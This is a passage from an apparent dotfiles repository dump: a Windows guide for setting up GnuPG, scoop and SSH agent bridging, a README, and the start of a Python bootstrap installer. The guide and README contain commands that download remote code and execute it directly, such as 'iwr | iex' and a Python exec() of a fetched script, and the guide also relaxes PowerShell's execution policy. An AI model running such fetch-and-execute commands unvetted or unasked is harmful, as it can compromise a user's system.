now][pwsh-reload]:\r\n\r\n```\r\n$env:Path = [System.Environment]::GetEnvironmentVariable(\"Path\",\"Machine\") + \";\" + [System.Environment]::GetEnvironmentVariable(\"Path\",\"User\")\r\n```\r\n\r\nThen we can run:\r\n\r\n```\r\npwsh\r\n```\r\n\r\nIf any part of this process did not work, or produced errors, or if the account does not have administrative privaledges, replace any use of `pwsh` with `powershell` in all further sections.\r\n\r\n## [scoop][]\r\n\r\nWe will use [scoop][] for package management.\r\n\r\nIn order to get [scoop][], we will use the [the installation steps given in the README][scoop-installation]. If this links to something that is old, check the [main repository README][scoop-readme] for up-to-date instructions.\r\n\r\nIn order to be able install [scoop][], we need to set the execution policy in PowerShell. [This has security implications][ps-execpolicy].\r\n\r\nTo do this, in the same PowerShell session, run:\r\n\r\n```\r\nSet-ExecutionPolicy -ExecutionPolicy RemoteSigned -Scope CurrentUser\r\n```\r\n\r\nA short message should pop up. Agree by typing `Y`, then pressing <kbd>Enter</kbd>. \r\n_Note: If nothing pops up, the execution policy is already set appropriately_\r\n\r\nThen, we will install scoop:\r\n\r\n```\r\niwr -useb get.scoop.sh | iex\r\n```\r\n\r\nNext, we'll install the programs scoop needs for the additional features we require, as well as the programs we need.\r\n\r\n```\r\nscoop install aria2 git\r\nscoop bucket add extras\r\nscoop install gnupg wsl-ssh-pageant\r\n```\r\n\r\n## Testing [GnuPG][]\r\n\r\nBefore we begin configuring [GnuPG][], we need to make sure it can read our OpenPGP-compatible card or security key.\r\n\r\nTo test this, first insert the key/card, and gnupg should see it:\r\n\r\n```\r\ngpg-connect-agent updatestartuptty /bye\r\ngpg --card-status\r\ngpg-connect-agent \"keyinfo --list\" /bye\r\n```\r\n\r\n_Note: Sometimes,_ `gpg-agent` _might fail to start, and show messages like:_\r\n\r\n```\r\ngpg-connect-agent: waiting for the agent to come up ... (5s)\r\ngpg-connect-agent: waiting for the agent to come up ... (4s)\r\ngpg-connect-agent: waiting for the agent to come up ... (3s)\r\ngpg-connect-agent: waiting for the agent to come up ... (2s)\r\ngpg-connect-agent: waiting for the agent to come up ... (1s)\r\ngpg-connect-agent: can't connect to the agent: IPC connect call failed\r\ngpg-connect-agent: error sending standard options: No agent running\r\n```\r\n\r\n_Just rerun the_ `gpg-connect-agent updatestartuptty /bye` _command_.\r\n\r\n## Configuring [GnuPG][]\r\n\r\nNow that we know that `gpg` can see the key/card, we can [configure `gpg-agent`][configure-gpg-agent] [with PuTTY support][gpg-putty], then [restart `gpg-agent`][restart-gpg-agent], as described in this section.\r\n\r\nInstead of regular SSH support, I chose [PuTTY][] support as the tooling for connecting the [OpenSSH suite built into Windows 10][win32-openssh] to gnupg [is currently one of the only avenues to get the two to talk][openssh-gpg-connect], and it allows the use of PuTTY with the same authentication mechanism.\r\n\r\nOne thing to note as a result of this setup is that, since [OpenSSH has been shipped with Windows 10 since autumn 2018][windows-ssh-info], this setup won't work exactly as expected on any version prior to this, or versions lacking this OpenSSH suite.\r\n\r\nTo enable putty support in `gpg-agent`, either edit the file indicated by the following command (this file might not exist and may need to be created):\r\n\r\n```\r\n(gpgconf --list-dirs socketdir) + \"\\gpg-agent.conf\"\r\n```\r\n\r\nAnd put the string `enable-putty-support` on a single line in the file, or run the following command:\r\n\r\n`echo \"enable-putty-support:0:1\" | gpgconf --change-options gpg-agent`\r\n\r\nEither way, putty support is permanently enabled.\r\n\r\nNow that putty support is enabled, reload `gpg-agent`:\r\n\r\n```\r\ngpg-connect-agent reloadagent /bye\r\n```\r\n\r\n## Bridge GnuPG and Win32-OpenSSH\r\n\r\nThe OpenSSH suite shipped with Windows listens on a [named pipe][named-pipe], instead of a [Unix domain socket][af-unix], which is what gnupg uses, so we need a program to shuttle between the two.\r\n\r\n`wsl-ssh-pageant` can bridge `ssh` and `gpg-agent`.\r\n\r\nThe [default name][default-win-pipe] of the [named pipe][named-pipe] is `\\\\.\\pipe\\openssh-ssh-agent`, but we'll use a different one to make things more confusing:\r\n\r\n```\r\nSet-Item -Path Env:SSH_AUTH_SOCK -Value \"\\\\.\\pipe\\ssh-pageant\"\r\n[Environment]::SetEnvironmentVariable('SSH_AUTH_SOCK', $env:SSH_AUTH_SOCK, 'User')\r\n```\r\n\r\nUnfortunately, for reasons not known to me, `wsl-ssh-pageant` doesn't like being second to the party when using a socket file. In other words, `wsl-ssh-pageant` gives the following error if `gpg-agent` is already running before `wsl-ssh-pageant` is started:\r\n\r\n```\r\nCould not open socket $Env:USERPROFILE\\AppData\\Roaming\\gnupg\\S.gpg-agent.ssh, error 'listen unix $Env:USERPROFILE\\AppData\\Roaming\\gnupg\\S.gpg-agent.ssh: bind: Only one usage of each socket address (protocol/network address/port) is normally permitted.'\r\n```\r\n\r\nSo we stop `gpg-agent`:\r\n\r\n```\r\ngpg-connect-agent killagent /bye\r\n```\r\n\r\nWe'll bring it back after we start `wsl-ssh-pageant`.\r\n\r\nBefore starting `wsl-ssh-pageant`, it's important to note that the command below runs `wsl-ssh-pageant` in its own background process, which needs to be running each time `git` or `ssh` need to talk with `gpg-agent`. A step for setting this command to run on login is pending.\r\n\r\nThe good news is that this process is detached from PowerShell, and closing PowerShell will not close this process, or prevent `wsl-ssh-pageant` from working with other PowerShell or console sessions.\r\n\r\nAlso, having `wsl-ssh-pageant` running does not appear to impede the use of both PuTTY and Windows' native `ssh` client from both using the keys stored on the key/card.\r\n\r\nSo to start `wsl-ssh-pageant`, run:\r\n\r\n```\r\npwsh -Command \"start-process -filepath wsl-ssh-pageant.exe -ArgumentList ('-systray','-winssh','ssh-pageant','-wsl',(gpgconf --list-dirs agent-ssh-socket)) -WindowStyle hidden\"\r\n```\r\n\r\nThe success of this command is indicated by a new icon appearing in the system tray.\r\n\r\nIf the icon pops up briefly, before closing by itself, or does not appear at all, something is wrong. The error can be viewed by running the command in the current console, as opposed to spawning a new process:\r\n\r\n```\r\nwsl-ssh-pageant.exe -systray -winssh \"\\\\.\\pipe\\ssh-pageant\" -wsl (gpgconf --list-dirs agent-ssh-socket)\r\n```\r\n\r\nFinally, if `wsl-ssh-pageant` is running, we can restart `gpg-agent`:\r\n\r\n```\r\ngpg-connect-agent updatestartuptty /bye\r\n```\r\n\r\n## Testing and finale\r\n\r\nNow `ssh` should be able to see the keys on the key/card.\r\n\r\nTo test this, make sure the key/card is inserted, and run:\r\n\r\n`ssh-add -L`\r\n\r\nThis is the most important part, and if this shows an error message about connecting to an agent, a bad response from an agent, or just nothing, then please make prolific use of your search engine of choice.\r\n\r\nTo download the repository, `git` should be able to talk with GitHub. To test this, [the following should print out a short message][github-test-ssh]:\r\n\r\n```\r\nssh -T [email protected]\r\n```\r\n\r\nTo then get `git` to be able to use the `ssh` client configured for interacting with `gpg-agent`, [set the `GIT_SSH` environment variable][git-ssh]:\r\n\r\n```\r\nSet-Item -Path Env:GIT_SSH -Value (scoop which ssh)\r\n[Environment]::SetEnvironmentVariable('GIT_SSH', $env:GIT_SSH, 'User')\r\n```\r\n\r\nTo get `git` to use the correct `gpg` program, [set that in the global git config][git-gpg]:\r\n\r\n```\r\ngit config --global gpg.program (scoop which gpg)\r\n```\r\n\r\n# Return to regular install\r\n\r\nNow that all that's done, we can [continue with the installation.](./README.md#setup)\r\n-->\r\n\r\n\r\n[git]: <https://git-scm.com/>\r\n[gnupg]: <https://www.gnupg.org/>\r\n[python]: <https://www.python.org>\r\n[ssh]: <https://en.wikipedia.org/wiki/Secure_Shell>\r\n[scoop-installation]: <https://github.com/lukesampson/scoop/tree/3e55a70971c5ff0d035daa54ca5dfab95dfaaa1d#installation>\r\n[scoop-readme]: <https://github.com/lukesampson/scoop/blob/master/README.md>\r\n[OpenSSH]: <https://www.openssh.com/>\r\n[af-unix]: <http://man7.org/linux/man-pages/man7/unix.7.html>\r\n[powershell]: <https://docs.microsoft.com/en-us/powershell/scripting/overview?view=powershell-5.1>\r\n[scoop]: <https://github.com/lukesampson/scoop>\r\n[pscore6]: <https://aka.ms/pscore6>\r\n[pwsh-reload]: <https://stackoverflow.com/a/31845512>\r\n[ps-execpolicy]: <https://docs.microsoft.com/en-us/PowerShell/module/microsoft.PowerShell.core/about/about_execution_policies?view=PowerShell-6>\r\n[configure-gpg-agent]: <https://www.gnupg.org/documentation/manuals/gnupg/Agent-Configuration.html>\r\n[restart-gpg-agent]: <https://www.gnupg.org/documentation/manuals/gnupg/Agent-Protocol.html#Agent-Protocol>\r\n[windows-ssh-info]: <https://docs.microsoft.com/en-us/windows-server/administration/openssh/openssh_overview>\r\n[gpg-putty]: <https://www.gnupg.org/documentation/manuals/gnupg/Agent-Options.html#option-_002d_002denable_002dssh_002dsupport>\r\n[PuTTY]: <https://www.chiark.greenend.org.uk/~sgtatham/putty/>\r\n[win32-openssh]: <https://github.com/PowerShell/openssh-portable>\r\n[openssh-gpg-connect]: <https://github.com/PowerShell/Win32-OpenSSH/issues/827>\r\n[default-win-pipe]: <https://github.com/PowerShell/Win32-OpenSSH/issues/1136#issuecomment-500549297>\r\n[named-pipe]: <https://docs.microsoft.com/en-us/windows/win32/ipc/named-pipes>\r\n[github-test-ssh]: <https://help.github.com/en/articles/testing-your-ssh-connection>\r\n[git-ssh]: <https://git-scm.com/book/en/v2/Git-Internals-Environment-Variables#_miscellaneous>\r\n[git-gpg]: <https://stackoverflow.com/a/43393650>\r\n" }, { "alpha_fraction": 0.6666666865348816, "alphanum_fraction": 0.6690223813056946, "avg_line_length": 29.44444465637207, "blob_id": "b3ea52a1e73edfb42c8768fc3abcd1e109d09bfd", "content_id": "4d48e0b152ba6e23300b69a4ee425fa39bd58e18", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 1698, "license_type": "permissive", "max_line_length": 196, "num_lines": 54, "path": "/README.md", "repo_name": "mawillcockson/dotfiles", "src_encoding": "UTF-8", "text": "# [dotfiles][]\r\n\r\nThese are my personal dotfiles. I sometimes use them.\r\n\r\nCritiques or improvements can be left in comments, issues, and PRs, or delivered by carrier pigeon.\r\n\r\n## Setup\r\n\r\nWhile the files in the [`dotfiles`](./dotfiles/) directory can sometimes be used by themselves, this repository uses [`dotdrop`][dotdrop] for managing the files, and is designed to work with that.\r\n\r\nOS-specific Python installation instructions and other pre-requisites may be listed in one of the following:\r\n\r\n - [Debian](./INSTALL_debian.md)\r\n - [Arch Linux](./INSTALL_archlinux.md)\r\n - [Windows](./INSTALL_windows.md)\r\n\r\nIn general, [Python][] and [`git`][git] are required.\r\n\r\nThe remaining steps are platform independent.\r\n\r\n### Continue\r\n\r\nIn a terminal session (PowerShell, bash, etc.):\r\n\r\n```sh\r\npython -c \"import urllib.request as q,sys;r=q.urlopen('https://github.com/mawillcockson/dotfiles/raw/main/install_dotfiles.py');c=r.read().decode();r.close();sys.exit(exec(c))\"\r\n```\r\n\r\n> _Note: on Windows, if there's an SSL error, run `iwr -useb https://github.com`, then try again_\r\n\r\n## Contents\r\n\r\nI use the following software:\r\n\r\n- [NeoVim][]\r\n- [gnupg2][]\r\n- Linux\r\n - [oh-my-zsh][]\r\n - [tmux][]\r\n - [openbox][]\r\n - [vim-plug][]\r\n - [tilda][]\r\n\r\n[dotfiles]: <https://wiki.archlinux.org/index.php/Dotfiles>\r\n[dotdrop]: <https://github.com/deadc0de6/dotdrop>\r\n[Python]: <https://www.python.org/>\r\n[git]: <https://git-scm.com/>\r\n[NeoVim]: <https://neovim.io/>\r\n[tmux]: <https://github.com/tmux/tmux>\r\n[gnupg2]: <https://gnupg.org/>\r\n[oh-my-zsh]: <https://ohmyz.sh/>\r\n[openbox]: <http://openbox.org>\r\n[vim-plug]: <https://github.com/junegunn/vim-plug>\r\n[tilda]: <https://github.com/lanoxx/tilda>\r\n" }, { "alpha_fraction": 0.5524940490722656, "alphanum_fraction": 0.556884229183197, "avg_line_length": 35.428794860839844, "blob_id": "80ab1900db9c0269a0dd2f4a87dead55ef3ba729", "content_id": "605b68f01e9196fc86cf92997fb015c348c631c7", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 23917, "license_type": "permissive", "max_line_length": 141, "num_lines": 639, "path": "/install_dotfiles.py", "repo_name": "mawillcockson/dotfiles", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python\r\n\"\"\"\r\nhopefully doesn't mess anything up too badly\r\n\r\n\r\nSignificant inspiration was taken from:\r\n\r\nhttps://github.com/python-poetry/poetry/blob/c967a4a5abc6a0edd29c57eca307894f6e1c4f16/install-poetry.py\r\n\r\nSteps:\r\n\r\n - Ensure dependencies (git)\r\n - Download repository\r\n - Run dotdrop from the repo\r\n\"\"\"\r\nimport os\r\nimport sys\r\nfrom contextlib import asynccontextmanager\r\nfrom pathlib import Path\r\nfrom shutil import which\r\nfrom subprocess import (\r\n PIPE,\r\n STDOUT,\r\n CalledProcessError,\r\n CompletedProcess,\r\n Popen,\r\n TimeoutExpired,\r\n run,\r\n)\r\nfrom tempfile import TemporaryDirectory\r\nfrom typing import TYPE_CHECKING, Dict, List, Optional, Union\r\nfrom unittest.mock import patch\r\nfrom urllib.request import urlopen\r\n\r\ntrio = None\r\n\r\nif TYPE_CHECKING:\r\n from io import BufferedWriter\r\n from typing import AsyncIterator, List, Tuple, Union\r\n\r\n import trio\r\n from trio import MemoryReceiveChannel, MemorySendChannel, Process\r\n\r\nWINDOWS = sys.platform.startswith((\"win\", \"cygwin\")) or (\r\n sys.platform == \"cli\" and os.name == \"nt\"\r\n)\r\nUNIX = sys.platform.startswith((\"linux\", \"freebsd\", \"openbsd\"))\r\nMACOS = sys.platform.startswith(\"darwin\")\r\n\r\n\r\nif WINDOWS:\r\n import winreg\r\n\r\n\r\ndef win_get_user_env(name: str) -> Optional[str]:\r\n if not WINDOWS:\r\n raise NotImplementedError(\r\n \"can only update environment variables on Windows for now\"\r\n )\r\n\r\n with winreg.ConnectRegistry(None, winreg.HKEY_CURRENT_USER) as root:\r\n with winreg.OpenKey(root, \"Environment\", 0, winreg.KEY_ALL_ACCESS) as key:\r\n value, _ = winreg.QueryValueEx(key, name)\r\n\r\n return value\r\n\r\n\r\n# pylint: disable=too-many-instance-attributes,too-many-arguments\r\nclass Expect:\r\n \"\"\"\r\n Manages running a process as a subprocess, and communicating with it, while\r\n echoing its output\r\n \"\"\"\r\n\r\n # From:\r\n # https://github.com/mawillcockson/dotfiles/blob/08e973f122b66ceadb009379dfed018a4b9e4eea/trio_watch_and_copy_demo.py\r\n # Which is inspired by:\r\n # https://github.com/python-trio/trio/blob/v0.19.0/trio/_subprocess.py#L587-L643\r\n\r\n def __init__(\r\n self,\r\n process: \"Process\",\r\n printer_send_channel: \"MemorySendChannel[bytes]\",\r\n printer_receive_channel: \"MemoryReceiveChannel[bytes]\",\r\n notifier_send_channel: \"MemorySendChannel[bytes]\",\r\n opened_notifier_receive_channel: \"MemoryReceiveChannel[bytes]\",\r\n print_buffer: \"BufferedWriter\" = sys.stdout.buffer, # type: ignore\r\n ):\r\n self.process = process\r\n self.printer_send_channel = printer_send_channel\r\n self.printer_receive_channel = printer_receive_channel\r\n self.notifier_send_channel = notifier_send_channel\r\n self.opened_notifier_receive_channel = opened_notifier_receive_channel\r\n self.print_buffer = print_buffer\r\n self.stdout: bytes = b\"\"\r\n self.response_sent = False\r\n\r\n # NOTE: may be able to be combined with copier_recorder()\r\n async def printer(\r\n self,\r\n ) -> None:\r\n \"echoes the process' output, dropping data if necessary\"\r\n if not self.process:\r\n raise Exception(\"missing process; was this called inside a with statement?\")\r\n\r\n async with self.printer_receive_channel:\r\n async for chunk in self.printer_receive_channel:\r\n try:\r\n self.print_buffer.write(chunk)\r\n except BlockingIOError:\r\n pass\r\n self.print_buffer.flush()\r\n\r\n async def copier_recorder(\r\n self,\r\n ) -> None:\r\n \"\"\"\r\n records the process' stdout, and mirrors it to printer()\r\n\r\n also sends notifications to expect() every time the process prints\r\n something\r\n \"\"\"\r\n if not self.process:\r\n raise Exception(\"missing process; was this called inside a with statement?\")\r\n\r\n assert (\r\n self.process.stdout is not None\r\n ), \"process must be opened with stdout=PIPE and stderr=STDOUT\"\r\n\r\n async with self.process.stdout, self.printer_send_channel, self.notifier_send_channel:\r\n async for chunk in self.process.stdout:\r\n # print(f\"seen chunk: '{chunk!r}'\", flush=True) # debug\r\n self.stdout += chunk\r\n await self.printer_send_channel.send(chunk)\r\n\r\n # send notification\r\n # if it's full, that's fine: if expect() is run, it'll see\r\n # there's a \"pending\" notification and check stdout, then wait\r\n # for another notification\r\n try:\r\n self.notifier_send_channel.send_nowait(b\"\")\r\n except trio.WouldBlock:\r\n pass\r\n except trio.BrokenResourceError as err:\r\n print(f\"cause '{err.__cause__}'\")\r\n raise err\r\n\r\n async def expect(\r\n self,\r\n watch_for: bytes,\r\n respond_with: bytes,\r\n ) -> None:\r\n \"\"\"\r\n called inside Expect.open_process()'s with block to watch for, and\r\n respond to, the process' output\r\n \"\"\"\r\n if not self.process:\r\n raise Exception(\"missing process; was this called inside a with statement?\")\r\n\r\n assert self.process.stdin is not None, \"process must be opened with stdin=PIPE\"\r\n\r\n # NOTE: This could be improved to show which responses were sent, and which\r\n # weren't\r\n self.response_sent = False\r\n async with self.opened_notifier_receive_channel.clone() as notifier_receive_channel:\r\n # print(\"expect --> opened notifier channel\", flush=True) # debug\r\n async for _ in notifier_receive_channel:\r\n # print(\"expect --> received chunk notification\", flush=True) # debug\r\n if not self.response_sent and watch_for in self.stdout:\r\n # print(\"expect --> sending response...\", flush=True) # debug\r\n await self.process.stdin.send_all(respond_with)\r\n self.response_sent = True\r\n # print(\"expect --> response sent\", flush=True) # debug\r\n\r\n @classmethod\r\n @asynccontextmanager\r\n async def open_process(\r\n cls, args: \"Union[str, List[str]]\", env_additions: Dict[str, str] = {}\r\n ) -> \"AsyncIterator[Expect]\":\r\n \"\"\"\r\n entry point for using Expect()\r\n\r\n opens the process, opens a nursery, and starts the copier and printer\r\n\r\n this waits until the process is finished, so wrapping in a\r\n trio.move_on_after() is good to use as a timeout\r\n \"\"\"\r\n printer_channels: (\r\n \"Tuple[MemorySendChannel[bytes], MemoryReceiveChannel[bytes]]\"\r\n ) = trio.open_memory_channel(1)\r\n printer_send_channel, printer_receive_channel = printer_channels\r\n notifier_channels: (\r\n \"Tuple[MemorySendChannel[bytes], MemoryReceiveChannel[bytes]]\"\r\n ) = trio.open_memory_channel(0)\r\n notifier_send_channel, notifier_receive_channel = notifier_channels\r\n\r\n async with notifier_receive_channel:\r\n\r\n with patch.dict(\"os.environ\", values=env_additions) as patched_env:\r\n async with await trio.open_process(\r\n args, stdin=PIPE, stdout=PIPE, stderr=STDOUT, env=patched_env\r\n ) as process:\r\n async with trio.open_nursery() as nursery:\r\n expect = cls(\r\n process=process,\r\n printer_send_channel=printer_send_channel,\r\n printer_receive_channel=printer_receive_channel,\r\n notifier_send_channel=notifier_send_channel,\r\n opened_notifier_receive_channel=notifier_receive_channel,\r\n )\r\n nursery.start_soon(expect.copier_recorder)\r\n nursery.start_soon(expect.printer)\r\n\r\n yield expect\r\n\r\n # print(\"waiting for process\") # debug\r\n await expect.process.wait()\r\n\r\n\r\nclass Bootstrapper:\r\n UPDATED_ENVIRONMENT: Dict[str, str] = {}\r\n SHELL: Optional[Path] = None\r\n _SCOOP_INSTALLED = False\r\n _PIP_INSTALLED = False\r\n TEMP_DIR: Optional[Path] = None\r\n PIP_DIR: Optional[Path] = None\r\n VIRTUALENV_INSTALL_DIR: Optional[Path] = None\r\n VENV_DIR: Optional[Path] = None\r\n CACHE_DIR: Optional[Path] = None\r\n PYTHON_EXECUTABLE: str = sys.executable\r\n\r\n def __init__(self, temp_dir: Path) -> None:\r\n if WINDOWS:\r\n powershell_str = which(\"powershell\")\r\n powershell_path = Path(powershell_str).resolve()\r\n if not (powershell_str and powershell_path.is_file()):\r\n raise FileNotFoundError(\r\n f\"powershell not found at '{powershell_str}' or '{powershell_path}'\"\r\n )\r\n self.SHELL = powershell_path\r\n\r\n self.REPOSITORY_DIR = Path(\"~/projects/dotfiles/\").expanduser().resolve()\r\n self.TEMP_DIR = temp_dir\r\n assert self.TEMP_DIR.is_dir()\r\n self.PIP_DIR = self.TEMP_DIR / \"pip\"\r\n self.PIP_DIR.mkdir(exist_ok=True)\r\n self.VIRTUALENV_INSTALL_DIR = self.TEMP_DIR / \"virtualenv\"\r\n self.VIRTUALENV_INSTALL_DIR.mkdir(exist_ok=True)\r\n self.VENV_DIR = self.TEMP_DIR / \"venv\"\r\n self.VENV_DIR.mkdir(exist_ok=True)\r\n self.CACHE_DIR = self.TEMP_DIR / \"cache\"\r\n self.CACHE_DIR.mkdir(exist_ok=True)\r\n self._PIP_INSTALLED = (\r\n self.cmd([self.PYTHON_EXECUTABLE, \"-m\", \"pip\", \"--version\"]).returncode == 0\r\n )\r\n self._PIP_INSTALLED = False\r\n\r\n def cmd(self, args: List[str], stdin: str = \"\") -> CompletedProcess:\r\n print(f\"running -> {args!r}\")\r\n with patch.dict(\"os.environ\", values=self.UPDATED_ENVIRONMENT) as patched_env:\r\n result = run(\r\n args,\r\n stdin=(stdin or PIPE),\r\n stderr=STDOUT,\r\n stdout=PIPE,\r\n check=False,\r\n env=patched_env,\r\n )\r\n print(result.stdout.decode() or \"\")\r\n return result\r\n\r\n def shell(self, code: str) -> CompletedProcess:\r\n print(f'shell -> \"{code}\"')\r\n if self.UPDATED_ENVIRONMENT:\r\n with patch.dict(\r\n \"os.environ\", values=self.UPDATED_ENVIRONMENT\r\n ) as patched_env:\r\n result = run(\r\n code,\r\n text=True,\r\n capture_output=True,\r\n check=False,\r\n shell=True,\r\n executable=str(self.SHELL) or None,\r\n env=patched_env,\r\n )\r\n else:\r\n result = run(\r\n code,\r\n text=True,\r\n capture_output=True,\r\n check=False,\r\n shell=True,\r\n executable=str(self.SHELL) or None,\r\n )\r\n\r\n if result.stdout:\r\n print(result.stdout)\r\n if result.stderr:\r\n print(result.stderr)\r\n return result\r\n\r\n def main(self) -> None:\r\n try:\r\n import virtualenv\r\n except ImportError:\r\n self.bootstrap_virtualenv()\r\n\r\n import virtualenv # isort:skip\r\n\r\n session = virtualenv.cli_run([str(self.VENV_DIR), \"--clear\", \"--download\"])\r\n if WINDOWS:\r\n venv_python = self.VENV_DIR / \"Scripts\" / \"python.exe\"\r\n venv_modules = self.VENV_DIR / \"Lib\" / \"site-packages\"\r\n else:\r\n raise NotImplementedError(\"only Windows supported right now\")\r\n\r\n if not (venv_python and venv_python.is_file()):\r\n raise Exception(\r\n f\"could not find a virtual environment python at '{venv_python}'\"\r\n )\r\n\r\n assert venv_modules.is_dir(), f\"missing directory '{venv_modules}'\"\r\n\r\n self.PYTHON_EXECUTABLE = str(venv_python)\r\n sys.path.insert(0, str(venv_modules))\r\n\r\n # Install trio\r\n self.pip([\"install\", \"trio\"])\r\n import trio as trio_module # isort:skip\r\n\r\n global trio\r\n trio = trio_module\r\n\r\n installer = Installer(\r\n temp_dir=self.TEMP_DIR,\r\n repository_dir=self.REPOSITORY_DIR,\r\n shell=self.SHELL,\r\n venv_dir=self.VENV_DIR,\r\n cache_dir=self.CACHE_DIR,\r\n python_executable=self.PYTHON_EXECUTABLE,\r\n updated_environment=self.UPDATED_ENVIRONMENT,\r\n )\r\n trio.run(installer.main)\r\n\r\n def bootstrap_virtualenv(self) -> None:\r\n if not self._PIP_INSTALLED:\r\n self.bootstrap_pip()\r\n\r\n self.VIRTUALENV_INSTALL_DIR.mkdir(exist_ok=True)\r\n self.pip(\r\n [\"install\", \"virtualenv\", \"--target\", str(self.VIRTUALENV_INSTALL_DIR)]\r\n )\r\n sys.path.insert(0, str(self.VIRTUALENV_INSTALL_DIR))\r\n import virtualenv # isort:skip\r\n\r\n def bootstrap_pip(self) -> None:\r\n if self._PIP_INSTALLED:\r\n return\r\n\r\n # NOTE: On Windows, the SSL certificates for some reason aren't\r\n # available until a web request is made that absolutely requires\r\n # them\r\n # If it's a truly fresh install, then any urlopen() call to an\r\n # https:// url will fail with an SSL context error:\r\n # >> ssl.SSLCertVerificationError: [SSL: CERTIFICATE_VERIFY_FAILED] certificate verify failed: unable to get local issuer certificate\r\n self.shell(\"iwr -useb https://bootstrap.pypa.io\")\r\n\r\n # https://pip.pypa.io/en/stable/installation/#get-pip-py\r\n get_pip_file = self.CACHE_DIR / \"get_pip.py\"\r\n get_pip_file.touch()\r\n with get_pip_file.open(mode=\"wb\") as file:\r\n with urlopen(\"https://bootstrap.pypa.io/get-pip.py\") as request:\r\n while request.peek(1):\r\n file.write(request.read(8192))\r\n\r\n # NOTE: pip forces the --user flag on Microsoft Store Pythons:\r\n # https://stackoverflow.com/q/63783587\r\n self.cmd(\r\n [\r\n self.PYTHON_EXECUTABLE,\r\n str(get_pip_file),\r\n \"--target\",\r\n str(self.PIP_DIR),\r\n \"--no-user\",\r\n ]\r\n )\r\n sys.path.insert(0, str(self.PIP_DIR))\r\n # Causes Python to find the downloaded pip module\r\n self.UPDATED_ENVIRONMENT[\"PYTHONPATH\"] = str(self.PIP_DIR)\r\n self._PIP_INSTALLED = True\r\n\r\n def pip(self, args: List[str]) -> None:\r\n if not self._PIP_INSTALLED:\r\n self.bootstrap_pip()\r\n\r\n # NOTE: pip forces the --user flag on Microsoft Store Pythons:\r\n # https://stackoverflow.com/q/63783587\r\n self.cmd([self.PYTHON_EXECUTABLE, \"-m\", \"pip\", *args, \"--no-user\"])\r\n\r\n\r\nclass Installer:\r\n SHELL: Optional[Path] = None\r\n PYTHON_EXECUTABLE: str = sys.executable\r\n UPDATED_ENVIRONMENT: Dict[str, str] = {}\r\n _SCOOP_INSTALLED: bool = False\r\n PROCESS_TYPES: Dict[str, str] = {\r\n \"cmd\": \"{0!r}\",\r\n \"shell\": '\"{0}\"',\r\n \"pip\": \"{0}\",\r\n \"scoop\": \"{0}\",\r\n }\r\n REPO_URL = \"https://github.com/mawillcockson/dotfiles.git\"\r\n\r\n def __init__(\r\n self,\r\n temp_dir: Path,\r\n repository_dir: Path,\r\n shell: Optional[Path] = None,\r\n venv_dir: Optional[Path] = None,\r\n cache_dir: Optional[Path] = None,\r\n python_executable: str = sys.executable,\r\n updated_environment: Dict[str, str] = {},\r\n ) -> None:\r\n if WINDOWS:\r\n if not shell:\r\n powershell_str = which(\"powershell\")\r\n powershell_path = Path(powershell_str).resolve()\r\n if not (powershell_str and powershell_path.is_file()):\r\n raise FileNotFoundError(\r\n f\"powershell not found at '{powershell_str}' or '{powershell_path}'\"\r\n )\r\n self.SHELL = powershell_path\r\n\r\n else:\r\n self.SHELL = shell\r\n\r\n self.REPOSITORY_DIR = repository_dir\r\n self.TEMP_DIR = temp_dir\r\n assert self.TEMP_DIR.is_dir()\r\n self.VENV_DIR = venv_dir or (self.TEMP_DIR / \"venv\")\r\n self.VENV_DIR.mkdir(exist_ok=True)\r\n self.CACHE_DIR = cache_dir or (self.TEMP_DIR / \"cache\")\r\n self.CACHE_DIR.mkdir(exist_ok=True)\r\n self.PYTHON_EXECUTABLE = python_executable\r\n self.UPDATED_ENVIRONMENT.update(updated_environment)\r\n\r\n async def cmd(\r\n self,\r\n args: List[str],\r\n check: bool = True,\r\n process_type: str = \"cmd\",\r\n ) -> \"Expect\":\r\n\r\n args_str = self.PROCESS_TYPES.get(\r\n process_type, self.PROCESS_TYPES[\"cmd\"]\r\n ).format(args)\r\n\r\n cmd_str = f\"{process_type} -> {args_str}\"\r\n print(cmd_str)\r\n\r\n async with Expect.open_process(\r\n args,\r\n env_additions=self.UPDATED_ENVIRONMENT,\r\n ) as expect:\r\n pass\r\n\r\n if check and expect.process.returncode != 0:\r\n raise CalledProcessError(\"returncode is not 0\")\r\n\r\n return expect\r\n\r\n async def pip(self, args: List[str]) -> \"Expect\":\r\n return await self.cmd(\r\n [self.PYTHON_EXECUTABLE, \"-m\", \"pip\", *args, \"--no-user\"],\r\n process_type=\"pip\",\r\n )\r\n\r\n async def shell(\r\n self, code: str, check: bool = True, process_type: str = \"shell\"\r\n ) -> \"Expect\":\r\n # NOTE: \"{shell} -c {script}\" works with powershell, sh (bash, dash, etc), not sure about other platforms\r\n return await self.cmd(\r\n [str(self.SHELL), \"-c\", code], check=check, process_type=process_type\r\n )\r\n\r\n async def scoop(self, args: str) -> \"Expect\":\r\n if not (WINDOWS and self._SCOOP_INSTALLED):\r\n raise Exception(\r\n \"not running scoop when not on Windows or scoop not installed\"\r\n )\r\n\r\n return await self.shell(f\"scoop {args}\", check=True, process_type=\"scoop\")\r\n\r\n async def install_scoop(self) -> None:\r\n if not WINDOWS:\r\n raise Exception(\"not installing scoop when not on Windows\")\r\n\r\n # Check if scoop is already installed\r\n self.UPDATED_ENVIRONMENT[\"PATH\"] = win_get_user_env(\"PATH\")\r\n\r\n expect = await self.shell(\"scoop which scoop\", check=False)\r\n self._SCOOP_INSTALLED = (\r\n \"is not recognized as the name of\" not in expect.stdout.decode()\r\n and expect.process.returncode == 0\r\n )\r\n\r\n if not self._SCOOP_INSTALLED:\r\n # Set PowerShell's Execution Policy\r\n args = [\r\n str(self.SHELL),\r\n \"-c\",\r\n \"& {Set-ExecutionPolicy -ExecutionPolicy RemoteSigned -Scope CurrentUser}\",\r\n ]\r\n print(f\"running -> {args!r}\")\r\n\r\n with trio.move_on_after(7):\r\n async with Expect.open_process(\r\n args, env_additions=self.UPDATED_ENVIRONMENT\r\n ) as expect:\r\n\r\n with trio.move_on_after(2):\r\n await expect.expect(\r\n watch_for=b'(default is \"N\"):',\r\n respond_with=b\"A\",\r\n )\r\n\r\n # NOTE: don't have to check if the response was sent, because\r\n # sometimes the execution policy is set without ever sending a\r\n # response (i.e. if the execution policy was already set).\r\n # Instead, just check if the policy is set correctly.\r\n\r\n result = await self.cmd(\r\n [str(self.SHELL), 